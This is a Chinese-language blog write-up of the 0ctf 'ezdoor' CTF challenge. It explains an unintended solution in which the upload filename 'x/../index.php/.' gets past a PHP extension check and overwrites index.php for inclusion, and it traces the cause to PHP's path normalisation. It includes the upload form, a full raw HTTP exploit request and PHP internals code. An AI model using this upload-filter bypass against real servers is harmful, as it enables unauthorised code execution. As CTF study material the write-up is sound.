Hu3sky's blog

0ctf-ezdoor

Word count: 1,251 / Reading time: 6 min
2019/01/21 Share

0ctf-ezdoor

今天搬砖的时候,突然看到了这道题,之前也看到过,没有深入学习。。于是想着来深入学习一下,关于非预期解/. 的绕过
题目链接
https://github.com/LyleMi/My-CTF-Challenges

环境搭建

  1. git clone https://github.com/LyleMi/My-CTF-Challenges.git
  2. 切换到Dockerfile目录下
    在Dockerfile里添加一行 RUN mkdir /var/www/html/sandbox/
  3. 然后运行 docker build -t 0ctf-ezdoor .
  4. 创建容器docker run -dit -p 8585:80 --name 0ctf-ezdoor 0ctf-ezdoor

题目分析

代码

首先理解代码的意思
首先会根据ip创建一个文件夹,然后创建一个index.php
然后是一些功能函数的定义
然后switch是一些功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {

...

break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}

功能

  • 查看工作目录
  • 查看phpinfo
  • 重置
  • 打印时间
  • 上传
  • 将之前创建的index.php包含进来

upload功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 case 'upload':
    if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
      break;
    }

    if ($_FILES['file']['size'] > 100000) {
      clear($dir);
      break;
    }

    $name = $dir . $_GET["name"];
    if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
      stristr(pathinfo($name)["extension"], "h")) {
      break;
    }
    move_uploaded_file($_FILES['file']['tmp_name'], $name);
    $size = 0;
    foreach (scandir($dir) as $file) {
      if (in_array($file, [".", ".."])) {
        continue;
      }
      $size += filesize($dir . $file);
    }
    if ($size > 100000) {
      clear($dir);
    }
    break;

检测文件名

1
2
3
4
5
    $name = $dir . $_GET["name"];
    if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
      stristr(pathinfo($name)["extension"], "h")) {
      break;
    }

文件名字母数字开头,后缀里不能有h
也就是php|php3|php5等无法使用
然后移动文件

于是思路

  • 上传index.php覆盖掉原来的index.php
  • 利用shell功能进行文件包含

非预期解

这里主要学习非预期。预期参考
https://skysec.top/2018/04/11/0ctf-ezdoor/#%E9%A2%84%E6%9C%9F%E8%A7%A3

构造上传表单

1
2
3
4
<form action="http://52.36.15.23:8585/?action=upload&name=hu3sky/../index.php/." method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" />
</form>

请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /?action=upload&name=hu3sky/../index.php/. HTTP/1.1
Host: 52.36.15.23:8585
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://52.36.15.23:8881/upload.php
Content-Type: multipart/form-data; boundary=---------------------------292502680226301
Content-Length: 633
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------292502680226301
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: text/plain

<?php echo aaa; ?>

-----------------------------292502680226301--

1

成功覆盖

漏洞分析

为什么上传index.php/. 能绕过

在函数file_get_contents 和函数move_upload_file的底层都会调用tsrm_realpath函数来处理相关文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

i = len; 
// i的初始值为字符串的长度
 while (i > start && !IS_SLASH(path[i-1])) {
     i--;  
   // 把i定位到第一个/的后面
 }
 if (i == len ||
     (i == len - 1 && path[i] == '.')) {
     len = i - 1; 
    //  删除路径中最后的 /. , 也就是 /path/test.php/. 会变为 /path/test.php 
     is_dir = 1;
     continue;
 } else if (i == len - 2 && path[i] == '.' && path[i+1] == '.') {
     //删除路径结尾的 /..
     is_dir = 1;
     if (link_is_dir) {
         *link_is_dir = 1;
     }
     if (i - 1 <= start) {
         return start ? start : len;
     }
     j = tsrm_realpath_r(path, start, i-1, ll, t, use_realpath, 1, NULL TSRMLS_CC);
    // 进行递归调用的时候,这里把strlen设置为了i-1,

这个函数会自动递归的去除文件末尾的/. 我们上传的index.php/. 会变成index.php

如何覆盖原文件

当我们传入index.php/.虽然能够绕过检测,但是并不能覆盖原来的index.php文件,也就是说我们能上传其他php文件,但是shell函数只会包含index.php ,所以最终目的还是要我们能够覆盖掉index.php文件

zsx师傅:

1

1
2
3
4
5
6
f (VCWD_RENAME(path, new_path) == 0) {
successful = 1;
} else if (php_copy_file_ex(path, new_path, STREAM_DISABLE_OPEN_BASEDIR) == SUCCESS) {
VCWD_UNLINK(path);
successful = 1;
}

所以说我们覆盖失败的原因是我们的文件index.php/.经过tsrm_realpath函数去掉末尾/. 后为index.php该文件存在,lstat返回0,不会继续打开文件了
但是当我们传入的文件是,hu3sky/../index.php/.时,先经过之前的tsrm_realpath函数处理后,文件变为hu3sky/../index.php 注意。这个位置并没有调用 tsrm_realpath 函数来处理文件名了。所以说此时检测的文件就是hu3sky/../index.php此时lstat返回值是-1. 认为不存在该文件,,于是就导致了文件的写入

这里借用pupiles师傅的图

1
发送name=index.php/.

1

1
发送name=x/../index.php/.

1

参考链接

CATALOG
  1. 1. 0ctf-ezdoor
    1. 1.1. 环境搭建
    2. 1.2. 题目分析
    3. 1.3. 非预期解
    4. 1.4. 漏洞分析
      1. 1.4.1. 为什么上传index.php/. 能绕过
      2. 1.4.2. 如何覆盖原文件
    5. 1.5. 参考链接